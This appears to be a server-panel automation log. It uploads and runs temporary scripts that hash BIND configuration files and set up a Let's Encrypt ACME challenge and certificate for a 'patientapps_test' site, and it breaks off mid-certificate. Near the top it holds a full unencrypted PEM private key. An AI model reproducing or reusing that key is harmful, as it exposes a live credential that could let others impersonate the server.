5sh2P43PgrDn2FKpc1v2/oegEOcxFiV2A6PKcCn8x1+T44O6iKSXPhQqOmwJ5F1Y
D4aLmRTUoFDM2tzjtQVCWf85mi5onWp/C1QEGC2Uz0QP/nfPVFj7BSw/dA/aQQIz
/87dA9J4vAQVaMDUZFAejXT9VSDvb0ArmTxUbiuyIxzoZDzkJyy8/S+jJVy7NWFU
8SA4oOM5bA9cLEd/CE+LNBnCjqNAyIvUBVDQhjrn2jnh8xvkVMlO/7ju2FFj5mx4
Fap2fZSYR3W2NDylBZdLU3mMCtvQ80TrQMQbZfUgCMw=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDsxf1/1WSAHYPo
paTpk631bA44nVNoAhkUzggN0e5b5lnP5vROFFsUPeR6rLH40sSd5YilyuCJmieo
gmKBqJunVp/GQfY2ClENRSJlSHdhpCn5lUbq1r7KyJcFtjVJrIMRHovRsXZirph0
JWwIjeWSJ0cEoXJQhHC/aOo71S4HByO7Z4l2U0tIaFftQQY2QMOWcaTdpUHN7qC1
Oop8tQEipp5/3TqwTGFyEGK1NVN91ZHXd/7GeP/bqikINRMV0CmW/UBwME3Wjg2Z
s0zXt+t9l7F5oBDMWBCUUJ41Buu8K9iST43tB7W6yno3Y4p3/4ZorKeuxaecCUFa
Ikv6B7NVAgMBAAECggEAQo4tAeAEDhc92wmk35uJjLFBFhzzMwtT7Ys0rF3UeLS5
jj1HcyM5ruju7qTYqi7k4dWBocjzcPqKJ03vTq8Mge9RnjMweGRSAD7sujeyhxnU
SrnxY1XV776O5SYguILrnMZPWzRdKMQXSp6yTX1FiN3NkrmnHob8AnIFVahI9eQ7
d006MgUa/tG0ApYNwQp/M9+T3wc14gA/kHWCmjbwqmpctFfJF6zd4YGrVHrGkfBD
NkYLJrXx6X5R90mWAafHBvRiC5xnUCCdpNK2GXPH7uOIv3Z/elmREKHWhRSbn3jQ
rs8EzggEv11r3GjZ7XQZfHwnfQYsFBtogDFo019zwQKBgQD3SSNwFIskhrQyj039
e879+x4i31T2EnicLtw/ulIbMdogzIRQSTXvKtcmPc987IpJ0pmTvMtbm1XxxngC
Vf+B6zo3of1/B3tJuW5tIYadpZ8a8vTI+fEOf3IRXjvN6dYKVvinptus2NjuxAEE
iL46A6c99SANG0nQ44zhd9QbXQKBgQD1HgQnn1MvWH9+qVKb53AEfzBhlBokhwq3
KuMZbkqfcGjIUIlzJqoWlZsOMHDw0mayZxJCgV3sTFUOoQvlUdBeF9QkEgG9mQRm
P+1XYq09r8o8C+QFPwe27UeecmrxhMl6MQExE/BaRMXIH/f174E8maNVFiVvcqn5
iwparv/wWQKBgFi1XgcY94lU4VO54MpsHacy7G6qGzpjCe1NSil6V3X1/kAB3f1H
Jhf0EFZhmgtAd6Nf70P2WCU2pjAjeG2uGAitL6dBb0SglHOwF5MCkd3/ygHK4lEu
iHEg+vSMD3wgxG3VIUJTMz7gU4HjwlG0FDmPkfFB/At3nJVY6/L+H5LpAoGBALoq
TP+G65gG//ZERcCxO4u+yhEieeSKSCIryYX0FWsY5gxV1r8Fe6Nhhv103yKYunT/
AYhPVvV0WBmfSTinNblxIacvofDNOeEq5mk7QdabH98RLOKrJ4HQn1eBESZUMu3C
MGSE/0Sf/RNs7Ff2ytIq4jlqc448qUolRvzu8uYpAoGAdi7RTJ/c4ce9T+3Xx4oX
/eqiyVprX6NO/q9JxPYN75Uqhbp68FBzen/26PZjVCLwXpYedp8m2KvbiSghMUxj
bGutOTAw5ziIzJC6vnJ04JkphenXAILGJdLDl+xJX3GzAEi30LQVVSxoRrb33mzw
/ObIeeFQlv/E0Y5rSTo2e1k=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-09-13 10:55:51: Establishing a connection
2025-09-13 10:55:59: Establishing a connection
2025-09-13 10:55:59: 

PUT: /tmp/pkp420904

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-09-13 10:56:00: 

runuser -l bind -s /bin/bash -c '/tmp/pkp420904; rm /tmp/pkp420904'

2025-09-13 10:56:00: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= a3d92972abbb369edf3baf47c3e33e8b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-09-13 10:56:06: Establishing a connection
2025-09-13 10:56:06: Establishing a connection
2025-09-13 10:56:07: 

PUT: /tmp/pkp507756

#!/bin/bash
if [ -d "/var/www/patientapps_test/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-09-13 10:56:07: 

chmod 755 /tmp/pkp507756; /tmp/pkp507756; rm /tmp/pkp507756

2025-09-13 10:56:07: 


1


2025-09-13 10:56:08: Establishing a connection
2025-09-13 10:56:08: 

PUT: /tmp/pkp798420

#!/bin/bash
mkdir -p "/var/www/patientapps_test/.well-known/acme-challenge/"
cd "/var/www/patientapps_test/.well-known/acme-challenge/"
cat > UcrUcDZBJvtbmd3pAe0LsIfID5JpA_NsFKMsN1GFHf0 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
UcrUcDZBJvtbmd3pAe0LsIfID5JpA_NsFKMsN1GFHf0.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 UcrUcDZBJvtbmd3pAe0LsIfID5JpA_NsFKMsN1GFHf0


2025-09-13 10:56:08: 

chmod 755 /tmp/pkp798420; /tmp/pkp798420; rm /tmp/pkp798420

2025-09-13 10:56:08: 




2025-09-13 10:56:13: Establishing a connection
2025-09-13 10:56:13: 

PUT: /tmp/pkp367976

#!/bin/bash
mkdir -p "/var/www/patientapps_test/.well-known/acme-challenge/"
cd "/var/www/patientapps_test/.well-known/acme-challenge/"
rm UcrUcDZBJvtbmd3pAe0LsIfID5JpA_NsFKMsN1GFHf0


2025-09-13 10:56:13: 

chmod 755 /tmp/pkp367976; /tmp/pkp367976; rm /tmp/pkp367976

2025-09-13 10:56:13: 




2025-09-13 10:56:13: Establishing a connection
2025-09-13 10:56:13: 

PUT: /tmp/pkp267803

#!/bin/bash
temp_file=$(mktemp)
TARGET=b4d585ce19a4f3515f777a21dc27e293

cat > $temp_file <<'endmsg'
6b:c1:e4:8e:94:02:51:1d:0a:f4:66:25:45:c3:67:2f

-----BEGIN CERTIFICATE-----
MIIFAjCCA+qgAwIBAgISBh4Wwj3J1bN7v6YTUysdNeAMMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTEzMDk1NzQzWhcNMjUxMjEyMDk1NzQyWjAeMRwwGgYDVQQD
ExN0ZXN0LnBhdGllbnRhcHBzLmNvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAt9cLYBlvLp6YLwEAOToZQDUMh4hRoOJsrVG/hRfyev9i/q0MpT3erjRS
ZswF2xqj/cwq8TPgtCmRhE4mrauapapPADo69ZirMUIfUaBJ2C+o2t1q6XycxYL5
